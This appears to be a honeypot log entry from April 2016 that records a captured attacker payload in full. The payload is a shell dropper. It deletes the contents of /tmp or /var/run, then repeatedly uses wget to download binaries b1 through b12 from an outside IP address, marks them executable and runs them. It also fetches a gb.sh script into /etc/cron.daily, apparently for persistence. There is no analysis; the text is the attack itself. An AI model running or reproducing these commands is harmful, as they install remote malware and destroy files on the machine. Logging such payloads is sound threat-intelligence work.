Honeypot Payload! Seen on: 2016-04-29 11:22

ulimit -n 712
cd /tmp || cd /var/run; rm -rf *; wget http://154.16.63.90/b1; chmod 777 b1; ./b1
cd /tmp || cd /var/run; rm -rf *; wget http://154.16.63.90/b2; chmod 777 b2; ./b2
cd /tmp || cd /var/run; rm -rf *; wget http://154.16.63.90/b3; chmod 777 b3; ./b3
cd /tmp || cd /var/run; rm -rf *; wget http://154.16.63.90/b4; chmod 777 b4; ./b4
cd /tmp || cd /var/run; rm -rf *; wget http://154.16.63.90/b5; chmod 777 b5; ./b5
cd /tmp || cd /var/run; rm -rf *; wget http://154.16.63.90/b6; chmod 777 b6; ./b6
cd /tmp || cd /var/run; rm -rf *; wget http://154.16.63.90/b7; chmod 777 b7; ./b7
cd /tmp || cd /var/run; rm -rf *; wget http://154.16.63.90/b8; chmod 777 b8; ./b8
cd /tmp || cd /var/run; rm -rf *; wget http://154.16.63.90/b9; chmod 777 b9; ./b9
cd /tmp || cd /var/run; rm -rf *; wget http://154.16.63.90/b10; chmod 777 b10; ./b10
cd /tmp || cd /var/run; rm -rf *; wget http://154.16.63.90/b11; chmod 777 b11; ./b11
cd /tmp || cd /var/run; rm -rf *; wget http://154.16.63.90/b12; chmod 777 b12; ./b12
cd /var/run ; wget http://154.16.63.90/gb.sh
cd /etc/cron.daily ; wget http://154.16.63.90/gb.sh


rm -rf /tmp/*